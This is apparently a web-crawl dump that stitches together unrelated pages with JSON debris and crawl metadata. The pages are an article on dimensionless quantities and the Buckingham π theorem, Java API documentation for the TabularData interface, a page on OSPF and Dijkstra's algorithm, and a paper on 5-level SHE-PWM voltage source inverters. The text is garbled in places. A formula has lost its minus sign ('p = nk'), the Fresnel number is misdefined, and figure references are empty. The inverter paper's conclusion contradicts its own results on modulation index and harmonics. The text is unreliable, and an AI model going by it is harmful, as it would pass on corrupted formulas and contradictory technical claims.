Mathematics\n\nSeveral examples from mathematics include proportions, angles, and special numbers. A simple problem illustrates how a proportion may be a dimensionless quantity. Sarah says, \"Out of every 10 apples I gather, 1 is rotten.\" The rotten-to-gathered ratio is (1 apple) / (10 apples) = 0.1 = 10%, which is a dimensionless quantity. Similarly, angles may be defined as a proportion. The radian measure of angles is the ratio of the length of a circle's arc subtended by an angle whose vertex is the centre of the circle to some other length. The ratio—i.e., length divided by length—is dimensionless. When using radians as the unit, the length that is compared is the length of the radius of the circle. When using degree as the units, the arc's length is compared to 1/360 of the circumference of the circle. In the case of the dimensionless quantity π, being the ratio of a circle's circumference to its diameter, the number would be constant regardless of what unit is used to measure a circle's circumference and diameter (e.g., centimetres, miles, light-years, etc.), as long as the same unit is used for both. Additionally, the golden ratio, φ, is simply the ratio of length of the two sides of a golden rectangle. In statistics the coefficient of variation is the ratio of the standard deviation to the mean and is used to measure the dispersion in the data.\n\n### Dimensionless physical constants\n\nCertain fundamental physical constants, such as the speed of light in a vacuum, the universal gravitational constant, Planck's constant and Boltzmann's constant can be normalized to 1 if appropriate units for time, length, mass, charge, and temperature are chosen. The resulting system of units is known as the natural units. However, not all physical constants can be normalized in this fashion. For example, the values of the following constants are independent of the system of units and must be determined experimentally:\n\n### Physics and Engineering\n\n• Fresnel number – wavenumber over distance\n• Reynolds number is commonly used in fluid mechanics to characterize flow, incorporating both properties of the fluid and the flow. It is interpreted as the ratio of inertial forces to viscous forces and can indicate flow regime as well as correlate to frictional heating in application to flow in pipes.\n• Mach number – ratio of the speed of an object or flow relative to the speed of sound in the fluid.\n\n## Origin and derivation\n\n### History\n\nDimensionless quantities are a special result of the field of dimensional analysis. In the nineteenth century, French mathematician Joseph Fourier and Scottish physicist James Clerk Maxwell lead significant developments in the modern concepts of dimension and unit. Later work by British physicists Osborne Reynolds and Lord Rayleigh contributed to the understanding of dimensionless numbers in physics. Building on Rayleigh's method of dimensional analysis, Edgar Buckingham proved the π theorem (independent of French mathematician Joseph Bertrand's previous work) to formalize the nature of dimensionless quantities. Numerous other dimensionless numbers were discovered in the early 1900s, the particularly in the areas of fluid mechanics and heat transfer. In the 2000s, the International Committee for Weights and Measures contemplated defining the unit of 1 as the 'uno', but the idea was dropped.\n\n### Buckingham π theorem\n\nThe Buckingham π theorem indicates that validity of the laws of physics does not depend on a specific unit system. A statement of this theorem is that any physical law can be expressed as an identity involving only dimensionless combinations (ratios or products) of the variables linked by the law (e. g., pressure and volume are linked by Boyle's Law – they are inversely proportional). If the dimensionless combinations' values changed with the systems of units, then the equation would not be an identity, and Buckingham's theorem would not hold.\n\nAnother consequence of the Buckingham π theorem of dimensional analysis is that the functional dependence between a certain number (say, n) of variables can be reduced by the number (say, k) of independent dimensions occurring in those variables to give a set of p = nk independent, dimensionless quantities. For the purposes of the experimenter, different systems that share the same description by dimensionless quantity are equivalent.\n\n#### Example\n\nTo demonstrate the application of the π theorem, consider the power consumption of a stirrer with a given shape. The power, P, in dimensions [M · L2/T3], is a function of the density, ρ [M/L3], and the viscosity of the fluid to be stirred, μ [M/(L · T)], as well as the size of the stirrer given by its diameter, D [L], and the speed of the stirrer, n [1/T]. Therefore, we have a total of n = 5 variables representing our example. Those n = 5 variables are built up from k = 3 fundamental dimensions, the length: L (SI units: m), time: T (s), and mass: M (kg).\n\nAccording to the π-theorem, the n = 5 variables can be reduced by the k = 3 dimensions to form p = nk = 5 − 3 = 2 independent dimensionless numbers. These quantities are",
null,
"$\\mathrm{Re} = {\\frac{\\rho n D^2}{\\mu}}$, commonly named the Reynolds number which describes the fluid flow regime, and",
null,
"$N_\\mathrm{p} = \\frac{P}{\\rho n^{3} D^{5}}$, the Power number, which is the dimensionless description of the stirrer.\n\n### Nondimensionalization of Differential Equations\n\nThe process of nondimensionalization has significant applications in the analysis of differential equations."
] | [
null,
"https://infogalactic.com/w/images/math/9/2/6/9268883c22ddc7fcdab1df2404abb696.png ",
null,
"https://infogalactic.com/w/images/math/1/4/7/1477590f4f200ac6bcfb12cdd621b1b7.png ",
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.8938365,"math_prob":0.99263835,"size":11196,"snap":"2021-21-2021-25","text_gpt3_token_len":2459,"char_repetition_ratio":0.16243745,"word_repetition_ratio":0.020618556,"special_character_ratio":0.2210611,"punctuation_ratio":0.12512363,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9982043,"pos_list":[0,1,2,3,4],"im_url_duplicate_count":[null,1,null,1,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-05-08T06:23:39Z\",\"WARC-Record-ID\":\"<urn:uuid:1155c8f4-cb3c-418a-8555-814276611602>\",\"Content-Length\":\"47082\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:3015e7cb-c0ff-4dec-b732-83bfd28b4c8e>\",\"WARC-Concurrent-To\":\"<urn:uuid:cdf7c099-7ee6-4646-9198-381258d9483b>\",\"WARC-IP-Address\":\"85.195.95.72\",\"WARC-Target-URI\":\"https://infogalactic.com/info/Unitless\",\"WARC-Payload-Digest\":\"sha1:5WZRMKSQXMSFT3DHQQ66Z4QAIDGCQ3SM\",\"WARC-Block-Digest\":\"sha1:SHLFKM3S6QTJUJKIR7II4BNGJJBXSGDY\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-21/CC-MAIN-2021-21_segments_1620243988850.21_warc_CC-MAIN-20210508061546-20210508091546-00026.warc.gz\"}"} |
https://docs.oracle.com/en/java/javase/14/docs/api/java.management/javax/management/openmbean/TabularData.html | [
"# Interface TabularData\n\nAll Known Implementing Classes:\n`TabularDataSupport`\n\n`public interface TabularData`\nThe `TabularData` interface specifies the behavior of a specific type of complex open data objects which represent tabular data structures.\nSince:\n1.5\n• ## Method Summary\n\nModifier and Type Method Description\n`Object[]` `calculateIndex(CompositeData value)`\nCalculates the index that would be used in this `TabularData` instance to refer to the specified composite data value parameter if it were added to this instance.\n`void` `clear()`\nRemoves all `CompositeData` values (ie rows) from this `TabularData` instance.\n`boolean` `containsKey(Object[] key)`\nReturns `true` if and only if this `TabularData` instance contains a `CompositeData` value (ie a row) whose index is the specified key.\n`boolean` `containsValue(CompositeData value)`\nReturns `true` if and only if this `TabularData` instance contains the specified `CompositeData` value.\n`boolean` `equals(Object obj)`\nCompares the specified obj parameter with this `TabularData` instance for equality.\n`CompositeData` `get(Object[] key)`\nReturns the `CompositeData` value whose index is key, or `null` if there is no value mapping to key, in this `TabularData` instance.\n`TabularType` `getTabularType()`\nReturns the tabular type describing this `TabularData` instance.\n`int` `hashCode()`\nReturns the hash code value for this `TabularData` instance.\n`boolean` `isEmpty()`\nReturns `true` if the number of `CompositeData` values (ie the number of rows) contained in this `TabularData` instance is zero.\n`Set<?>` `keySet()`\nReturns a set view of the keys (ie the index values) of the `CompositeData` values (ie the rows) contained in this `TabularData` instance.\n`void` `put(CompositeData value)`\nAdds value to this `TabularData` instance.\n`void` `putAll(CompositeData[] values)`\nAdd all the elements in values to this `TabularData` instance.\n`CompositeData` `remove(Object[] key)`\nRemoves the `CompositeData` value whose index is key from this `TabularData` instance, and returns the removed value, or returns `null` if there is no value whose index is key.\n`int` `size()`\nReturns the number of `CompositeData` values (ie the number of rows) contained in this `TabularData` instance.\n`String` `toString()`\nReturns a string representation of this `TabularData` instance.\n`Collection<?>` `values()`\nReturns a collection view of the `CompositeData` values (ie the rows) contained in this `TabularData` instance.\n• ## Method Details\n\n• ### getTabularType\n\nTabularType getTabularType()\nReturns the tabular type describing this `TabularData` instance.\nReturns:\nthe tabular type.\n• ### calculateIndex\n\nObject[] calculateIndex(CompositeData value)\nCalculates the index that would be used in this `TabularData` instance to refer to the specified composite data value parameter if it were added to this instance. This method checks for the type validity of the specified value, but does not check if the calculated index is already used to refer to a value in this `TabularData` instance.\nParameters:\n`value` - the composite data value whose index in this `TabularData` instance is to be calculated; must be of the same composite type as this instance's row type; must not be null.\nReturns:\nthe index that the specified value would have in this `TabularData` instance.\nThrows:\n`NullPointerException` - if value is `null`\n`InvalidOpenTypeException` - if value does not conform to this `TabularData` instance's row type definition.\n• ### size\n\nint size()\nReturns the number of `CompositeData` values (ie the number of rows) contained in this `TabularData` instance.\nReturns:\nthe number of values contained.\n• ### isEmpty\n\nboolean isEmpty()\nReturns `true` if the number of `CompositeData` values (ie the number of rows) contained in this `TabularData` instance is zero.\nReturns:\ntrue if this `TabularData` is empty.\n• ### containsKey\n\nboolean containsKey(Object[] key)\nReturns `true` if and only if this `TabularData` instance contains a `CompositeData` value (ie a row) whose index is the specified key. If key is `null` or does not conform to this `TabularData` instance's `TabularType` definition, this method simply returns `false`.\nParameters:\n`key` - the index value whose presence in this `TabularData` instance is to be tested.\nReturns:\n`true` if this `TabularData` indexes a row value with the specified key.\n• ### containsValue\n\nboolean containsValue(CompositeData value)\nReturns `true` if and only if this `TabularData` instance contains the specified `CompositeData` value. If value is `null` or does not conform to this `TabularData` instance's row type definition, this method simply returns `false`.\nParameters:\n`value` - the row value whose presence in this `TabularData` instance is to be tested.\nReturns:\n`true` if this `TabularData` instance contains the specified row value.\n• ### get\n\nCompositeData get(Object[] key)\nReturns the `CompositeData` value whose index is key, or `null` if there is no value mapping to key, in this `TabularData` instance.\nParameters:\n`key` - the key of the row to return.\nReturns:\nthe value corresponding to key.\nThrows:\n`NullPointerException` - if the key is `null`\n`InvalidKeyException` - if the key does not conform to this `TabularData` instance's * `TabularType` definition\n• ### put\n\nvoid put(CompositeData value)\nAdds value to this `TabularData` instance. The composite type of value must be the same as this instance's row type (ie the composite type returned by `this.getTabularType().getRowType()`), and there must not already be an existing value in this `TabularData` instance whose index is the same as the one calculated for the value to be added. The index for value is calculated according to this `TabularData` instance's `TabularType` definition (see `TabularType.getIndexNames()`).\nParameters:\n`value` - the composite data value to be added as a new row to this `TabularData` instance; must be of the same composite type as this instance's row type; must not be null.\nThrows:\n`NullPointerException` - if value is `null`\n`InvalidOpenTypeException` - if value does not conform to this `TabularData` instance's row type definition.\n`KeyAlreadyExistsException` - if the index for value, calculated according to this `TabularData` instance's `TabularType` definition already maps to an existing value in the underlying HashMap.\n• ### remove\n\nCompositeData remove(Object[] key)\nRemoves the `CompositeData` value whose index is key from this `TabularData` instance, and returns the removed value, or returns `null` if there is no value whose index is key.\nParameters:\n`key` - the index of the value to get in this `TabularData` instance; must be valid with this `TabularData` instance's row type definition; must not be null.\nReturns:\nprevious value associated with specified key, or `null` if there was no mapping for key.\nThrows:\n`NullPointerException` - if the key is `null`\n`InvalidKeyException` - if the key does not conform to this `TabularData` instance's `TabularType` definition\n• ### putAll\n\nvoid putAll(CompositeData[] values)\nAdd all the elements in values to this `TabularData` instance. If any element in values does not satisfy the constraints defined in `put`, or if any two elements in values have the same index calculated according to this `TabularData` instance's `TabularType` definition, then an exception describing the failure is thrown and no element of values is added, thus leaving this `TabularData` instance unchanged.\nParameters:\n`values` - the array of composite data values to be added as new rows to this `TabularData` instance; if values is `null` or empty, this method returns without doing anything.\nThrows:\n`NullPointerException` - if an element of values is `null`\n`InvalidOpenTypeException` - if an element of values does not conform to this `TabularData` instance's row type definition\n`KeyAlreadyExistsException` - if the index for an element of values, calculated according to this `TabularData` instance's `TabularType` definition already maps to an existing value in this instance, or two elements of values have the same index.\n• ### clear\n\nvoid clear()\nRemoves all `CompositeData` values (ie rows) from this `TabularData` instance.\n• ### keySet\n\nSet<?> keySet()\nReturns a set view of the keys (ie the index values) of the `CompositeData` values (ie the rows) contained in this `TabularData` instance. The returned `Set` is a `Set<List<?>>` but is declared as a `Set<?>` for compatibility reasons. The returned set can be used to iterate over the keys.\nReturns:\na set view (`Set<List<?>>`) of the index values used in this `TabularData` instance.\n• ### values\n\nCollection<?> values()\nReturns a collection view of the `CompositeData` values (ie the rows) contained in this `TabularData` instance. The returned `Collection` is a `Collection<CompositeData>` but is declared as a `Collection<?>` for compatibility reasons. The returned collection can be used to iterate over the values.\nReturns:\na collection view (`Collection<CompositeData>`) of the rows contained in this `TabularData` instance.\n• ### equals\n\nboolean equals(Object obj)\nCompares the specified obj parameter with this `TabularData` instance for equality.\n\nReturns `true` if and only if all of the following statements are true:\n\n• obj is non null,\n• obj also implements the `TabularData` interface,\n• their row types are equal\n• their contents (ie index to value mappings) are equal\nThis ensures that this `equals` method works properly for obj parameters which are different implementations of the `TabularData` interface.\n\nOverrides:\n`equals` in class `Object`\nParameters:\n`obj` - the object to be compared for equality with this `TabularData` instance;\nReturns:\n`true` if the specified object is equal to this `TabularData` instance.\n`Object.hashCode()`, `HashMap`\n• ### hashCode\n\nint hashCode()\nReturns the hash code value for this `TabularData` instance.\n\nThe hash code of a `TabularData` instance is the sum of the hash codes of all elements of information used in `equals` comparisons (ie: its tabular type and its content, where the content is defined as all the index to value mappings).\n\nThis ensures that `t1.equals(t2)` implies that `t1.hashCode()==t2.hashCode()` for any two `TabularDataSupport` instances `t1` and `t2`, as required by the general contract of the method `Object.hashCode()`.\n\nOverrides:\n`hashCode` in class `Object`\nReturns:\nthe hash code value for this `TabularDataSupport` instance\n`Object.equals(java.lang.Object)`, `System.identityHashCode(java.lang.Object)`\nReturns a string representation of this `TabularData` instance.\n`toString` in class `Object`\na string representation of this `TabularData` instance"
] | [
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https://networkustad.com/2019/08/29/shortest-path-first-protocol/ | [
"# Introduction to Shortest Path First Protocol\n\nShortest path first protocol also known as Link-state routing protocols using Edsger Dijkstra’s shortest path first (SPF) algorithm. Open Shortest Path First (OSPF) and Intermediate System-to-Intermediate System (IS-IS) the two commonly used link-state routing protocols. Link-state routing protocols have more complex than the distance vector routing protocol. But, the basic functionality and configuration of link-state routing protocols are just as a sample. We can configure the basic Open Shortest Path First (OSPF) routing protocol using the following command.\n\nContents\n\nRouter(config)#router ospf <process-id>\n\nRouter(config-router)#network <network ID>\n\n## Dijkstra’s Algorithm\n\nDijkstra’s algorithm was published in 1959 and the name of the creator was Edsger Dijkstra so it named after its creator. OSPF(Open Shortest Path First) and IS-IS (Intermediate System-to-Intermediate System )protocols use Dijkstra’s algorithm to calculate the best path for a source to destination. The Dijkstra’s algorithm is usually referred to as the shortest path first (SPF) algorithm. The algorithm uses the addition of cost besides each path, from source to destination; to determine the total cost of a route. The route with the lowest cost has considered the best route and route with the highest cost has considered the worst route.\n\n## Shortest Path First Protocol (SPF) Example\n\nIn the figure below, the link between each router has labeled with cost value. There are three paths for R1 LAN to R6 LAN and vice versa. As shown in the figure the lowest cost is 37, so this is the shortest path sending date between LAN R1 and LAN R6. Each router containing SPF (Shortest path first) Algorithm determines its own cost to each destination in the topology.\n\nIf you notice that path 2 has a least in hop count, but the shortest path is path 3; because the cost to reach R2 to R5 is 20 and higher than the cost from R2 to R5 through R4 which is 11."
] | [
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https://file.scirp.org/Html/11-8101236_4291.htm | [
"Modulation Index Effect on the 5-Level SHE-PWM Voltage Source Inverter\n\nEngineering\nVol. 3 No. 2 (2011) , Article ID: 4291 , 4 pages DOI:10.4236/eng.2011.32022\n\nModulation Index Effect on the 5-Level SHE-PWM Voltage Source Inverter\n\nIslamic Azad University, Ashtian Branch, Ashtian, Iran\n\nEmail: hfeshki@yahoo.com\n\nReceived October 21, 2010; revised November 19, 2010; revised November 29, 2010\n\nKeywords: Multilevel Voltage Source Inverter, Selective Harmonic Elimination, Modulation Index, Load Type and PSPICE\n\nABSTRACT\n\nHarmonic content of the voltage source inverters is important and must be in the allowed ranges. Different method are proposed to decrease the Total Harmonic Distortion (THD) and caused to be sinusoidal the output voltage of inverters. One of these methods is using multilevel structure. In this structure many important parameters which are effective on voltage source inverter operation that among them we can mention to modulation index (MI). Variation of modulation index can change the THD. One of the harmonic reduction methods is using multilevel structure. In this paper, a sample 5-level SHE-PWM voltage source inverter is presented and all equation and choosing switching angles for elimination desired harmonics from different order. To investigate the effective parameters on the inverter operation, a typical 5-level inverter is simulated in PSPICE software. The simulation has been done for different values of modulation and its effect on the inverter operation is evaluated.\n\n1. Introduction\n\nVoltage source inverters have many applications in industry and to use them, the effective parameters on their operation should be carefully studied. One of the applications of voltage source inverters is to motor drive in which the modulation index and frequency should be change to control the amplitude and speed. Hence, the variation of these parameters should be analyzed [1-5].\n\nDifferent methods have been presented for harmonic elimination or reduction from output of voltage source inverter up to now. In [6-13], the multi level structure has been used to harmonic elimination.\n\nMany different PWM pattern strategies have been reported in the literature for VSI. These include many different on-line (e.g., sinusoidal pulse width modula-tion, SPWM) or off-line (e.g., selective harmonic elimi-nation and magnitude modulation, SHE-PWM) patterns for fundamental magnitude control and harmonic reduc-tion [14-15]. As other switching methods, we can men-tion the switching method of selective harmonic elimi-nation (SHE-PWM) is able to eliminate desired harmo-nics from different order. In this method, low order harmonics are eliminated by switching and high ones by using filter in the output [16-19]. In this paper, the effect of some parameters such as modulation index and load type on the voltage source inverter is investigated. By using a new switching method for this purpose, a sample 5-level voltage source inverter is simulated in PSPICE software and the effects of modulation index variation on inverter function are studied. Also some simulations are done for resistive-inductive load in the output of the inverter.\n\n2. Introduction of Shem Switching Method\n\nSHEM is a PWM switching method for harmonic elimination which harmonic of output voltage can be eliminated by creating appropriate notches [20-22]. In this method, for elimination of N harmonics, N notches must be created in quarter of the waveform and if control of amplitude is necessary, one more notch is needed for this purpose. Hence, for having both amplitude control and harmonic elimination in total N+1 notches is needed.\n\nUsing this method, lower order harmonics are cancelled by proper switching and higher order harmonics are filtered by high pass filter. Moreover, elimination of harmonics is optional and possible. In Figure 1, voltage waveform of the output phase is shown. According to the figure, the amplitude can be controlled and the harmonics number 5, 7 can be cancelled using",
null,
"angles.\n\nThis switching method when compared to other methods such as PWM, SPWM and etc, has some advantages. This method can be implemented in the power system harmonic studying. This study is based on the fact that some optional harmonics can be held and the others can be removed from output. Another advantage of this method is low switching losses because of its low switching frequency.\n\n3. Introduction of Presented Switching Method for Multi Level Inverters\n\nIn SHE-PWM, method, (one of the switching method) the place, number and the width of every notch are so effective on controlling the amplitude and eliminating different harmonics. Therefore, the multilevel inverter can have different modes which some of them are as follow:\n\n• Mode 1: amplitude control\n\n• Mode 2: amplitude control and 5th, 7th harmonics elimination\n\n• Mode 3: amplitude control and 5th, 7th, 11th and 13th harmonics elimination\n\nThese modes are optional and other modes can be selected as well. In this paper, the functions of modes 1, 3 are described and mode 2 is the same.\n\n3.1. Function Explanation and Inverter Equations in Mode 1\n\nOne of the 5-level inventor modes is amplitude control mode (Figure 2) in which in every quarter of wave a",
null,
"Figure 1. The waveform of VSI output voltage without 5 and 7 harmonics and capable of controlling amplitude.",
null,
"Figure 2. 5 level voltage source inverter.\n\nnotch is created so that the amplitude can be controlled. Instead of amplitude control, one of the harmonics can be selected and eliminated.\n\nThe output voltage waveform with control signals is plotted in Figure 3. By writing Fourier series for output voltage, the following equation can be obtained:",
null,
"",
null,
"(1)",
null,
"Figure 3. PWM pattern for magnitude control of output AC voltage.\n\nWhere:",
null,
"(2)\n\nV1 is the maximum output voltage (AC), mmax is accessible extreme of modulation index.\n\nThe modulation index is maximized when the angel α1 is equal to zero. The correlation between modulation index and α1 is obtained from Equation (1) which is plotted in Figure 4. This nonlinear equation is solved by MAPLE software.\n\n3.2. Function Explanation and Inverter Equations in Mode 2\n\nUsing SHEM method with short circuit pulses, the first two existing lower order harmonics, 5 and 7th, can be eliminated in addition to fundamental magnitude control. This is denoted as a new pattern, i.e., mode 2.\n\nThe number of required independent angles for a SHE pattern is equal to the number of variables to be controlled; hence, for this case can be suggested as shown in Figure 5. This pattern is re-drawn between 0 and π/2 Figure 6. Now the expression for the nth harmonic in Va can be written as:",
null,
"(3)\n\nTo calculate the corresponding chop angles for controlling modulation index and canceling specified harmonics in the SHE method, V1 should be set to m and Va,n to zero. The fundamental component of output voltage can be written as Equation (4).",
null,
"Figure 4. Chopping angle α1 versus modulation index m for Figure 2.",
null,
"Figure 5. PWM-SHEM pattern for 5th and 7th harmonics.",
null,
"Figure 6. Expansion of Figure 5 in the 0 - π/2 region.",
null,
"(4)\n\nThus, a system of nonlinear transcendental Equations (5) to (7) must be solved. The related chop angles (α1, α2 and α3) for this PWM pattern are shown versus modulation index in Figure 7.",
null,
"(5)",
null,
"Figure 7. Chopping angles versus modulation index for Figure 5.",
null,
"(6)",
null,
"(7)\n\n3.3. Function Explanation and Inverter Equations in Mode 3\n\nBecause the common harmonics in power systems are 6k+1 that",
null,
"so one of the considered modes is to eliminate 5, 7, 11 and 13th with amplitude control. In Figure 8, order signals along with the output voltage for interval 0 to 90 degree are shown. In this case, due to four harmonics elimination with amplitude control, we should create five notches in wave quarter which is clearly seen in this figure. Furrier series for the output voltage is written as (8).",
null,
"(8)\n\nWhich, the different equations can be obtained for various values of n values. Because in this mode the 5th, 7th, 11th and 13th harmonics are eliminated so the value for n should be 1, 5,7,11 and 13.in other words, there will be five equations with six variations. These equa-",
null,
"Figure 8. SHE-PWM pattern for 5, 7, 11, and 13th harmonics expansion in the 0 - π/2 region.\n\ntions can be solved for different values of m and the values of",
null,
"are obtained that all are plotted in Figure 9.\n\n4. Simulation of 5-Level Voltage Source Inverter\n\nThe 5-level voltage source inverter in Figure 2 with the characteristic of Table 1 is stimulated. To investigate the effect of parameters on the inverter function, an inventor for 70% modulation index, the out put frequency 50Hz and resistive load is accomplished and then their effect on the function of the inverter is investigated.\n\n4.1. Investigation of Inverter Function in Modulation Index Equal to 0.7\n\nThe out put voltage for mode 1 is shown in .",
null,
"Figure 9. Chopping angles versus modulation index for Figure 4.",
null,
"Table 1. Parameters of simulated inverter.\n\nAccording to this figure the maximum amplitude of output voltage is about 190V. In this figure the primary component amplitude can be controlled. This figure includes odd harmonics which is clear in .\n\nThe amplitude of primary component should be about 0.7 of the output voltage amplitude. In other words, it should be approximately 133 V (190×0.7) which is equal to 130V in the figure.\n\nIn mode 3, amplitude control with 5th, 7th, 11th and 13th harmonics elimination is considered. The output voltage is shown in . The spectrum frequency of the voltage is obvious in . In this mode, the 5th, 7th, 11th and 13th harmonics (the frequencies of 250 Hz, 350 Hz, 550 Hz and 650 Hz) don’t exist in the output.\n\n4.2. Modulation Index Reduction from 0.7 to 0.4\n\nThe output voltage in this mode can be seen in Figure",
null,
". The waveform of CSI output voltage with amplitude control (MI = 0.7).",
null,
". spectral frequency output voltage for MLCSI in mode 1 in resistive load, 50Hz output frequency and MI = 0.7.",
null,
". The waveform of CSI output voltage without 5, 7, 11 and 13th harmonics and capable of controlling amplitude (MI = 0.7).",
null,
". Spectral frequency output voltage for MLCSI in mode 3 in resistive load, 50Hz output frequency and MI = 0.7.\n\n14 the maximum amplitude of this voltage is equal to190 V. In this figure, the output voltage of primary component can be controlled. This figure includes the odd harmonics which is shown in . The primary component amplitude should be about 0.4 of the output amplitude (76V) which is equal to 72V in this figure. By comparing with , it can be pointed out that the modulation index reduction leads to increase of THD. As a result, the amplitudes of existent harmonics is fundamentally increased which should be noticed.\n\nThe output voltage waveform and also its spectral",
null,
". The waveform of CSI output voltage with amplitude control (MI = 0.4).",
null,
". Spectral frequency output voltage for MLCSI in mode 1 in resistive load, 50Hz output frequency and MI = 0.4.\n\nfrequency in mode 3 with modulation index equal to 0.4 are plotted in and respectively. According to , it can be found out that in spite of modulation index reduction 5, 7, 11 an 13th harmonics are eliminated well from the output. However, the modulation index reduction causes increasing of voltage THD.\n\nAccording to previous section, the amplitude of the output voltage can be controlled by different methods such as variation of modulation index, changing the DC link voltage and so on. According to this paper results, the former method leads to increase the output voltage THD. So, to decrease the harmonic contents, the range of modulation index variation must be limited. There-fore in realistic situation, the THD can be controlled by either limitation of modulation index or changing the DC link voltage in constant (optimal) modulation index. But in the latter method, the cost of the system will be increased due to using additional units such as DC-DC converter to control of DC link voltage.\n\n4.3. Load Variation from Resistive to Inductive-Resistive\n\nIn this case, a 10 mH inductor is added series to load. In",
null,
". The waveform of CSI output voltage without 5,7,11 and 13th harmonics and capable of controlling amplitude (MI = 0.4).",
null,
". Spectral frequency output voltage for MLCSI in mode III in resistive load, 50Hz output frequency and MI = 0.4.\n\nthe voltage source inverter, the output voltage is inde-pendent from the load and must be constant for any load. For resistive load, the output voltage and current wave for are similar and when the load is varied to inductive-resistive, the output current is not similar to output voltage. The output current for mode 1 is shown in . The spectral frequency of the output current is shown in . According to this figure, by adding the inductor to the load, the waveform of output current becomes sinusoidal.\n\nThe output current and its frequency spectral are shown in and respectively. The figures show the effect of load type on the output current and its spectral frequency.\n\n5. Future Work\n\nFor the future work, the optimization of the modulation index can be studied. The effect of the modulation index is investigated in this paper and in the next work; the optimal value of these parameters can be obtained using suitable optimization method.\n\n6. Conclusion\n\nIn this paper, the effect of different parameters such as",
null,
". Output voltage for MLCSI in mode I in resistive-inductive load, 50Hz output frequency and MI = 0.7.",
null,
". Spectral frequency of output voltage for MLCSI in mode 1 in inductive-resistive load, 50Hz output frequency and MI = 0.7.",
null,
". Load output voltage in mode 1 in resistive-inductive load, 50Hz output frequency and MI = 0.7 without using capacitor.",
null,
". Load output voltage in mode 3 in resistive-inductive load, 50Hz output frequency and MI = 0.7 without using capacitor.\n\nmode, load and modulation index on the voltage source inverter operation has been investigated. For this purpose, the equation for any operation mode of inverter is obtained and by solving them, the suitable chopping angle for removing of desired harmonic from different order are determined. It is shown that the fundamental component of output voltage is controlled by modula-tion index and variation of modulation index, influences on the output voltage harmonics. For instance, by decreasing of modulation index, the amplitude of harmonics decreased in the output voltage. It is also shown that in different modes the desired harmonic from different order removed from the output voltage. In this study also shown that the load type affected on the output voltage waveform and in the resistive-inductive loads, the output current harmonic is filtered by inductor and cause to be sinusoidal the load voltage.\n\n7. REFERENCES\n\n1. M. Hashad and J. Iwaszkiewicz, “A Novel Orthogonal-Vectors-Based Topology of Multilevel Inverters,” IEEE Transactions on Industrial Electronics, Vol. 49, No.4, August 2002, pp. 868-874. doi:10.1109/TIE.2002.8012 34\n2. E. Cengelci, U. Sulistijo, O. Woo, P. Enjeti, R. Teodorescu and F. Blaabjerg, “A New Medium-Voltage PWM Inverter Topology for Adjustable-Speed Drives,” IEEE Transactions on Industry Applications, Vol. 35, May/June 1999, pp. 628-637. doi:10.1109/28.767014\n3. P. H. Henning, H. D. Fuchs, A. D. Le Roux and H. du T. Mouton, “Development of a 1.5 MW, Seven Level Series-stacked Converter as an APF and Regeneration Converter for a DC Traction Substation,” 36th IEEE Specialists Conference on Power Electronics 2005, Recife, 16 June 2005, pp. 2270-2276. doi:10.1109/PESC. 2005.1581948\n4. V. T. Somasekhar and K. Gopakumar, “Three-level In-verter Configuration Cascading Two Two-level Inver-ters,” IEE Proceedings Electric Power Applications, Vol. 150, No. 3, May 2003, pp. 245-254. doi:10.1049/ip-epa: 20030259\n5. R. S. Kanchan, P. N. Tekwani, M. R. Baiju, K. Gopakumar and A. Pittet, “Three-level Inverter Config-uration with Common-mode Voltage Elimination for Induction Motor Drive,” IEEE Proceedings Electric Power Applications, Vol. 152, No. 2, 4 March 2005 , pp. 261-270. doi:10.1049/ip-epa:20055034\n6. J.-S. Lai and F. Z. Peng, “Multilevel Convener — A New Breed of Power Converters,” IEEE Transactions on Industry Applications, Vol. 32, No. 3, 1996, pp. 509-517. doi:10.1109/28.502161\n7. Y. Xiong, D. Chen, S. Deng and Z. Zhang, “A New Single-phase Multilevel Current-source Inverter,” Power Electronics Conference and Exposition, Vol. 3, 2004, pp. 1682-1685.\n8. L. M. Fernando, F. M. Antunes, H. A. C. Braga and I. Barbi, “Application of a Generalized Current Multilevel Cell to a Current Source Inverter,” IEEE Transactions on Industrial Electronics, Vol. 46, No. 1, February 1999, pp. 31-38. doi:10.1109/41.744373\n9. S. Daher, R. Silva and F. Antunes, “Multilevel Current Source Inverter — The Switching Control Strategy for High Power Application,” Proceedings of the 1996 IEEE IECON 22nd International Conference on Industrial Electronics, Control, and Instrumentation, Vol. 3, 5-10 August 1996, pp. 1752-1757.\n10. J. Bao, D. G. Holmes, Z. Bai, Z. Zhang and D. Xu, “PWM Control of a 5-level Single-Phase Current-source Inverter with Controlled Intermediate DC-link Current,” Power Electronics Specialists Conference, Jeju, 18-22 June 2006, pp. 1-6.\n11. C.-M. Young, S.-F. Wu and Y.-Z. Liu “Implementation of a Multi-level Inverter Based on Selective Harmonic Elimination and Zig-Zag Connected Transformers”, The Eighth International Conference on Power Electronics and Drive Systems, Taibei, 2-5 November, 2009, pp. 387-392.\n12. Y. Xiong, Y. Li, X. Yang, Z. Zhang and K. Wei, “A new Three-Phase Five-level Current-source Inverter,” Applied Power Electronics Conference and Exposition, Vol. 1, 6-10 March 2005, pp. 424-427.\n13. J. R. Espinoza, L. A. Moran, J. I. Guzman, “Multi-Level Three-Phase Current Source Inverter Based AC Drive for High Performance Applications,” Power Electronics Specialists Conference, 2005, pp. 2553-2559.\n14. D. Xu and B. Wu, “Multilevel Current Source Inverters with Phase Shifted Trapezoidal PWM,” Power Elec-tronics Specialists Conference, 2005, pp. 2540-2546.\n15. S. Kwak and H. A. Toliyat, “Multilevel Converter Topo-logy Using Two Types of Current-Source Inverters,” IEEE Transactions on Industry Applications, Vol. 42, No. 6, 2006, pp. 1558-1564. doi:10.1109/TIA.2006. 882645\n16. H. F. Farahani and F. Rashidi, “A Novel Method for Selective Harmonic Elimination and Current Control in Multilevel Current Source Inverters,” International Review of Electrical Engineering-Part A, Vol. 5, No. 2, April 2010.\n17. H. R. Karshenas, H. A. Kojori, S. B. Dewan and J. H. Choi, “Generalized Techniques of Selective Harmonic Elimination and Current Control in Current Source Inverters/Converters,” Applied Power Electronics Conference and Exposition, Vol. 1, 1994, pp. 13-17.\n18. J. R. Espinoza, G. Joos, J. I. Guzman, L. A. Moran and R. P. Burgos, “Selective Harmonic Elimination and Current/Voltage Control in 